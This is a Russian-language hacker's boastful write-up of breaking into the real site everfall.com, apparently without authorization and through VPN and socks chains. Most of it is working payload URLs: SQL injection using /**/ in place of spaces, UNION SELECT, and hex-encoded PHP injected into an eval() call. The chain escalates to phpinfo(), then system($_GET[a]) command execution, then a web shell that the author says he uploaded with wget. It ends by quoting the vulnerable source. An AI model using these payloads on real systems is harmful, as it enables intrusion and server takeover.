Как был взломан everfall.com: PHP и SQL инъекции в одном флаконе Теплый августовский вечер, в наушниках долбит drum'n'bass. Проверив свое VPN подключение и цепочку соксов я открыл в браузере один малоинтересный ресурс, на котором можно постить куски своего кода и т.д. Вообщем, суть не в этом. А в процессе самого взлома. Первое, чтобросилось в глаза - это структура движка. Во-первых, он был написан на моем любимом скриптовом языке PHP, а во вторых, все параметры передавались ему ввиде QUERY_STRING, то есть: /index.php?параметр. Наивно полагая, что скрипт просто инклудит параметр или читает его я попробывалподставить строчку в виде ../../../../../../etc/passwd%00, однако ничего не вышло, а страница оказалось дефолтной. Этот вариант практически сразу отпал. Затем я попробывал передать в параметре кавычку, чтобы проверить сайт на наличие уязвимости класса SQL-injection: http://www.everfall.com/index.php?gamedev.ru' В ответ мне вернулась строка, характерищующая ошибку синтаксиса MySQL: fatal error: 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''gamedev.ru''' at line 1 Итак, первое что я точно уже знал: скрипт уязвим перед SQL-инъекцией и в качестве базы данных выступает старый добрый MySQL.Тогда, чтобы проверить, можно ли использовать данную инъекцию для манипуляцией базой данных посредством UNION запросов я обратился к скрипту следующим образом: http://www.everfall.com/index.php?gamedev.ru'/* И запрос выполнился без ошибки... Вполне логично, ведь в запросе нам мешала всего одна кавычка, а с помощью последовательности символов /* мы закомментировали ее... Но радоваться было еще рано. Когда я уже начал подбирать количество столбцов, возникли проблемы: http://www.everfall.com/index.php?gamedev.ru'+order+by+10/* Передо мной появился вся таже ошибка! Тогда, немного повертев с подбором через union select я понял, что здесь есть какая-то фильтрация... Какая - мне предстоит выяснить. Тогда я попробывал обратиться к скрипту следующим образом: http://www.everfall.com/index.php?gamedev.ru'%20order%20by%2010/* В ответ я получил ошибку: fatal error: 1054: Unknown column '20order' in 'where clause' Это не ошибка подбора, как, возможно, подумали вы. Если бы мы подбирали количество колонок через order by и это количество не совпадало, то получили бы в ответ строку: Unknown column '10' in 'order clause' А здесь имеется какая-то синтаксическая ошибка... Я сразу обратил внимание на слово '20order', странно, возможно скрипт фильтровует и символ "%"? Возможно, скрипт фильтровал символы "+" и "%", которые выступают как пробелы или их вспомогатели. Выход из этой ситуации нашелся сразу: в MySQL пусто закрытый комментарий вида /**/ воспринимается как пробел В итоге, правильно сформированный запрос, с абсолютным подбором выглядел так: http://www.everfall.com/index.php?gamedev.ru'/**/order/**/by/**/2/* Это означало, что в первом SELECT запросе содержится всего 2 колонки, а последующий мною внедряемый UNION также должен содержать для вывода 2 колонки. http://www.everfall.com/index.php?gamedev.ru'/**/union/**/select/**/1,2/* Страница вывелась без ошибок, однако ни одного поля (1,2) я не увидел на странице. А все потому, что первый запрос выполнился удачно и вывод на страницу идет только с него, поэтому необходимо сделать так, чтобы первый SELECT из запроса облажался, тогда второй UNION запрос выведет то, что мне надо. Например: http://www.everfall.com/index.php?cytech'/**/union/**/select/**/1,2/* И тут меня поразила эта картина. В заголовке странице <title> появилась цифра 1, а на том месте, гдепо идее должен быть текст, ничего не было. Точнее было, но совсем не то, что я, наверное, ожидал: Parse error: syntax error, unexpected $end in /home/1010/domains/www.everfall.com/html/index.php(89): eval()'d code on line 1 Данная ошибка характеризует наличие неправильно выполненного PHP-кода посредством функции eval(). Вам ведь наверное известно, что эта функция выполняет какой либо PHP-код. Но я не сразу сообразил, в чем дело. Сначало я попробывал узнать версию MySQL, а также пользователя и название базы данных с помощью функций: version(), user(), database(). Как оказалось, версия MySQL была старой 4.x - но это меня не обрадовало, ведь в этой версии демона не предусмотрена information_schema - таблица в базе, в которой хранится структура всей базы данных, что всегда помогает при взломе: угадывать ничего не приходится Также выяснилось, что у моего пользователя нету привелегий file_priv. Это привелегии, позволяющие через MySQL работать с файлами. Например, с помощью LOAD_FILE прочитать какой либо файл, а через INTO OUTFILE можно даже залить вэб-шелл. Таблицы пришлось банально угадывать. Спустя пять минут неудачного брутфорса, я вышел покурить и задумался о той самой ошибке в eval(). В голову пришла одна мысль. Возможно, что с таблице, из которой достаются данные, содержат в первой колонке название страницы, которое выводится в title, (также могло бы послужить для атаки класса SQL injection over Passive XSS), а во второй тот колонке PHP-код, который, собственно, и выводит ошибку, так как вместо кода в eval подставлялась "2". Обратившись к скрипту следующим образом, стараясь вызвать функцию phpinfo(): http://www.everfall.com/index.php?cytech'/**/union/**/select/**/1,"phpinfo();"/* Я получил ошибку синтаксиса SQL. Недолго думая я закодировал строку "phpinfo();" в HEX и подставил следующим образом: http://www.everfall.com/index.php?cytech'/**/union/**/select/**/1,0x706870696e666f28293b/* И передо мной предстал вывод функции phpinfo()! Неверя своим глазам и в то же время восхищаясь собой я сразу хотел получить вэб шелл. Из phpinfo() мне удалось узнать, что safe_mode выключен, значит проблем никаких не будет. http://www.everfall.com/index.php?cytech'/**/union/**/select/**/1,0x73797374656d28245f4745545b615d293b/*&a=ls В закодированной строке хранится код system($_GET[a]). Что это такое вы наверняка знаете: на экране была выведена команда ls - листинг файлов в текущий директории со скриптом. Налив очередную кружку кофе я выяснил, что мои права в системе - права оунера сайта. На серваке был установлен многопроцессорный (SMP) Linux 2.6.20, а также wget, с помощью которого я залил вэб-шелл в одну из папок, доступных для записи. Затем мне стало интересно взглянуть на исходный код того, что я так усердно взламывал. Первая моя ошибочная догадка была в том, что фильтрации были - ничего подобного. Обратите внимание на переменню $cover: PHP: $cover = $HTTP_SERVER_VARS['argv'][0]; Из всей QUERY_STRING скрипт получал только 1 параметр, а разделителем этих параметров был пробел. То есть из всей QUERY_STRING равной например "cytechoid owned joo" в $cover попало бы только "cytechoid". Но и это оказалось не проблемой. Идем далее. SQL-инъекция в функции mysql_query() на лицо: PHP: $dbquery = mysql_query("select displayname, displaylink from {$setup['table']} where name = '$cover'") or dbdie(); $dbrow = mysql_fetch_row($dbquery); if ($dbrow) { $displayname = $dbrow[0]; $displaylink = $dbrow[1]; } В конце концов получая данные параметры, скрипт выполнял следующий код, который послужил поводом для уязвимости PHP-injection: PHP: <?php eval($displaylink); ?></td> и практически бесполезной SiXSS: PHP: echo "<title> $displayname </title>"; С вами был Cytech. hellknights.void.ru forum.antichat.ru